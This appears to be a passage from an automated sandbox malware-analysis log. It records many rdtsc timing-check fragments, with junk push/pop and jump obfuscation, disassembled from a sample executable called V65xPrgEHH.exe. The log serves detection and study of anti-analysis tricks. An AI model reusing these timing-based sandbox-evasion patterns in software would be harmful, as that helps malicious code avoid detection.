Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774E68 second address: 774E8B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB0EAD87Ch 0x00000008 jbe 00007F4AB0EAD876h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4AB0EAD87Dh 0x00000015 jo 00007F4AB0EAD876h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775572 second address: 775578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775578 second address: 775589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4AB0EAD876h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775589 second address: 77558E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7756D6 second address: 7756F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jg 00007F4AB0EAD876h 0x0000000f jng 00007F4AB0EAD876h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F4AB0EAD876h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7756F4 second address: 7756F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775855 second address: 77586F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 77586F second address: 775890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4AB14441F6h 0x0000000a popad 0x0000000b jmp 00007F4AB1444206h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775890 second address: 7758B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD883h 0x00000007 pushad 0x00000008 jmp 00007F4AB0EAD87Bh 0x0000000d jne 00007F4AB0EAD876h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 76AD21 second address: 76AD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jne 00007F4AB14441FCh 0x0000000c push ecx 0x0000000d jmp 00007F4AB1444209h 0x00000012 pop ecx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 739333 second address: 739339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775CEB second address: 775CF5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4AB14441F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 775CF5 second address: 775D0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F4AB0EAD876h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 77642F second address: 776438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 776438 second address: 776440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 76AD2F second address: 76AD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F4AB1444209h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 776A38 second address: 776A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD880h 0x00000009 popad 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4AB0EAD884h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 77BE72 second address: 77BE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4AB1444205h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 77A90C second address: 77A91C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4AB0EAD876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 77C0D9 second address: 77C114 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pop edx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push ebx 0x00000014 jne 00007F4AB1444201h 0x0000001a pop ebx 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 jmp 00007F4AB14441FFh 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 77C114 second address: 77C119 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 74D1A8 second address: 74D1BB instructions: 0x00000000 rdtsc 0x00000002 je 00007F4AB14441F6h 0x00000008 jng 00007F4AB14441F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 74D1BB second address: 74D1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 74D1CD second address: 74D1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 74D1D1 second address: 74D1FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4AB0EAD882h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 783336 second address: 78333A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78333A second address: 783344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4AB0EAD876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782959 second address: 782975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444208h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782975 second address: 782989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F4AB0EAD876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F4AB0EAD882h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782989 second address: 78298F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782EB2 second address: 782EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782EB6 second address: 782EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782EBA second address: 782EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 782EC4 second address: 782EE7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4AB14441F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F4AB14441FCh 0x00000010 jl 00007F4AB14441F6h 0x00000016 pop edx 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78471C second address: 784737 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4AB0EAD876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4AB0EAD87Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 784737 second address: 784742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F4AB14441F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 784823 second address: 784827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 784827 second address: 784871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4AB1444204h 0x0000000c jmp 00007F4AB14441FBh 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F4AB1444203h 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jo 00007F4AB14441F8h 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 784871 second address: 784894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 784894 second address: 7848AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444204h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 784C6D second address: 784C9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4AB0EAD884h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F4AB0EAD882h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 785524 second address: 785555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444202h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4AB1444207h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 785555 second address: 78555F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4AB0EAD876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7858D0 second address: 7858D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 788F60 second address: 788FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov di, ax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F4AB0EAD878h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 add esi, 239761E9h 0x0000002e pushad 0x0000002f pushad 0x00000030 add dl, 00000021h 0x00000033 mov si, dx 0x00000036 popad 0x00000037 mov edx, dword ptr [ebp+122D3701h] 0x0000003d popad 0x0000003e push 00000000h 0x00000040 call 00007F4AB0EAD883h 0x00000045 jc 00007F4AB0EAD87Ah 0x0000004b mov si, 6AE5h 0x0000004f pop esi 0x00000050 push eax 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 788FCA second address: 788FD4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 788FD4 second address: 788FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78976C second address: 789776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78A5C0 second address: 78A611 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4AB0EAD87Ch 0x00000008 jbe 00007F4AB0EAD876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F4AB0EAD878h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f or dword ptr [ebp+122D1BB1h], edi 0x00000035 push 00000000h 0x00000037 mov esi, dword ptr [ebp+122D1AD6h] 0x0000003d xchg eax, ebx 0x0000003e jnl 00007F4AB0EAD890h 0x00000044 push eax 0x00000045 push edx 0x00000046 js 00007F4AB0EAD876h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78A611 second address: 78A632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4AB14441FBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78BFE5 second address: 78BFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78C634 second address: 78C69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4AB14441F6h 0x0000000a popad 0x0000000b push esi 0x0000000c jp 00007F4AB14441F6h 0x00000012 pop esi 0x00000013 popad 0x00000014 nop 0x00000015 push eax 0x00000016 mov dword ptr [ebp+122D19F0h], ebx 0x0000001c pop edi 0x0000001d and edi, dword ptr [ebp+122D1AA6h] 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F4AB14441F8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f push 00000000h 0x00000041 movzx esi, cx 0x00000044 xchg eax, ebx 0x00000045 pushad 0x00000046 jc 00007F4AB14441F8h 0x0000004c pushad 0x0000004d popad 0x0000004e jmp 00007F4AB14441FEh 0x00000053 popad 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push esi 0x0000005a pop esi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78C69D second address: 78C6AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78D203 second address: 78D207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78DBB7 second address: 78DBBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 790E42 second address: 790E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79129F second address: 7912FB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4AB0EAD878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 movzx ebx, ax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F4AB0EAD878h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 sub edi, 055015E0h 0x00000036 add di, 6F00h 0x0000003b xchg eax, esi 0x0000003c push edx 0x0000003d push eax 0x0000003e jnc 00007F4AB0EAD876h 0x00000044 pop eax 0x00000045 pop edx 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F4AB0EAD87Ch 0x00000050 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7912FB second address: 791301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 791301 second address: 79130B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4AB0EAD876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7933D3 second address: 7933EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB1444203h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 794373 second address: 79438E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79536E second address: 795378 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB14441F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 795479 second address: 795480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 795480 second address: 79548E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79548E second address: 795498 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4AB0EAD87Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7964A6 second address: 7964D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b jno 00007F4AB14441FBh 0x00000011 push 00000000h 0x00000013 mov edi, 519F45D9h 0x00000018 push 00000000h 0x0000001a mov di, cx 0x0000001d sub dword ptr [ebp+122D1C31h], edi 0x00000023 push eax 0x00000024 push ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7964D4 second address: 7964D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7964D8 second address: 7964DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79854C second address: 7985DF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4AB0EAD87Ch 0x00000008 jl 00007F4AB0EAD876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 jmp 00007F4AB0EAD87Fh 0x00000017 pop ecx 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F4AB0EAD878h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov edi, 290144D3h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F4AB0EAD878h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 push 00000000h 0x00000056 sub dword ptr [ebp+122D1C0Ah], ecx 0x0000005c jmp 00007F4AB0EAD87Ah 0x00000061 xchg eax, esi 0x00000062 jnp 00007F4AB0EAD87Eh 0x00000068 jbe 00007F4AB0EAD878h 0x0000006e push eax 0x0000006f push edi 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7985DF second address: 7985E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 797726 second address: 79773F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD884h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79773F second address: 797745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79B67B second address: 79B698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD888h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79BC8E second address: 79BCBA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4AB1444204h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4AB1444201h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79BCBA second address: 79BCEB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4AB0EAD878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub bx, 3030h 0x00000012 mov dword ptr [ebp+122D272Ch], ecx 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b mov edi, dword ptr [ebp+122D1B44h] 0x00000021 pop ebx 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D223Fh], eax 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pushad 0x0000002f popad 0x00000030 pop ebx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79BCEB second address: 79BCF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79DD3E second address: 79DD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
